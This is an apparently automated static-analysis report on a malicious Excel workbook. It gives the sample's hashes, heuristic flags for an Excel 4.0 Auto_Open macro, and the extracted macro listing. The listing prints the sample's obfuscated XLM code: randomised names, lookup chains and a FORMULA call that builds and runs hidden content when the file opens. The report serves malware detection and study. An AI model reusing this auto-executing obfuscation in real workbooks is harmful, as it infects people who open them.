Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 330c588b5306e92a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:52 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 30d229dbe7ffd5461d6d4bf752ca98d9 SHA-1: 84cf135cbdb519fca8ce4f3670186a452f4d4b8b SHA-256: 330c588b5306e92a39ce17b5f2a2501b5b849442624dfdea28257cf6a537e222
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6553 bytes
SHA-256: f335f541afb3a2de13a43c35c76c70c7ec47482e4f9567f1b5bbf1907739ff23
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rroGFZRo
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G169 
' 0018     22 LABEL : Cell Value, String Constant - ayVHXjK len=0 
' 0018     25 LABEL : Cell Value, String Constant - BlSTKSneaC len=0 
' 0018     24 LABEL : Cell Value, String Constant - EJEzIMlAh len=0 
' 0018     25 LABEL : Cell Value, String Constant - EjFJSejWuy len=0 
' 0018     20 LABEL : Cell Value, String Constant - EqgAn len=0 
' 0018     25 LABEL : Cell Value, String Constant - hXZuHLJoFp len=0 
' 0018     20 LABEL : Cell Value, String Constant - iuMMQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - kExsezWfkyVw len=0 
' 0018     20 LABEL : Cell Value, String Constant - ldqAl len=0 
' 0018     22 LABEL : Cell Value, String Constant - MXeLaqJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - NzoIZcUsbn len=0 
' 0018     22 LABEL : Cell Value, String Constant - pfyXaqH len=0 
' 0018     27 LABEL : Cell Value, String Constant - PVKuBqtsVgDY len=0 
' 0018     23 LABEL : Cell Value, String Constant - RnwIKCsQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - uZlpqRcm len=0 
' 0018     25 LABEL : Cell Value, String Constant - WaZFmUNlko len=0 
' 0018     23 LABEL : Cell Value, String Constant - WBRdgbnx len=0 
' 0018     24 LABEL : Cell Value, String Constant - ygafbWooF len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZGCMhi len=0 
' 0018     26 LABEL : Cell Value, String Constant - zRFnhuUCVmU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rroGFZRo,G84,"SET.NAME("hXZuHLJoFp",VALUE("0"))",""
'  rroGFZRo,G87,"SET.NAME("ldqAl",hXZuHLJoFp)",""
'  rroGFZRo,G89,"SET.NAME("pfyXaqH",hXZuHLJoFp)",""
'  rroGFZRo,G94,"SET.NAME("WBRdgbnx",COUNTA(uZlpqRcm))",""
'  rroGFZRo,G97,"SET.NAME("BlSTKSneaC",COUNTA(EJEzIMlAh))",""
'  rroGFZRo,G102,[],""
'  rroGFZRo,G107,"SET.NAME("PVKuBqtsVgDY","")",""
'  rroGFZRo,G109,"ldqAl",""
'  rroGFZRo,G111,"SET.NAME("ayVHXjK",HLOOKUP("*",uZlpqRcm,ldqAl,FALSE))",""
'  rroGFZRo,G113,"NzoIZcUsbn",""
'  rroGFZRo,G115,"SET.NAME("ygafbWooF",hXZuHLJoFp)",""
'  rroGFZRo,G120,[],""
'  rroGFZRo,G124,"ygafbWooF",""
'  rroGFZRo,G128,"RnwIKCsQ",""
'  rroGFZRo,G132,"iuMMQ",""
'  rroGFZRo,G134,"kExsezWfkyVw",""
'  rroGFZRo,G136,"SET.NAME("EqgAn",VALUE(HLOOKUP("*",EJEzIMlAh,kExsezWfkyVw,FALSE)))",""
'  rroGFZRo,G139,"EjFJSejWuy",""
'  rroGFZRo,G144,"PVKuBqtsVgDY",""
'  rroGFZRo,G147,"pfyXaqH",""
'  rroGFZRo,G150,NEXT(),""
'  rroGFZRo,G154,"ZGCMhi",""
'  rroGFZRo,G157,"SET.NAME("f",INT(T(FORMULA(T(PVKuBqtsVgDY)&"",""&T(ZGCMhi)))))",""
'  rroGFZRo,G159,"WaZFmUNlko",""
'  rroGFZRo,G162,NEXT(),""
'  rroGFZRo,G166,RETURN(),""
'  rroGFZRo,G195,"SET.NAME("zRFnhuUCVmU",G84)",""
'  rroGFZRo,G200,"uZlpqRcm",""
'  rroGFZRo,G204,"SET.NAME("EJEzIMlAh",R77C11)",""
'  rroGFZRo,G206,"SET.NAME("WaZFmUNlko",213)",""
'  rroGFZRo,G208,"SET.NAME("MXeLaqJ",7)",""
'  rroGFZRo,G212,zRFnhuUCVmU(),""
'  rroGFZRo,G213,HALT(),""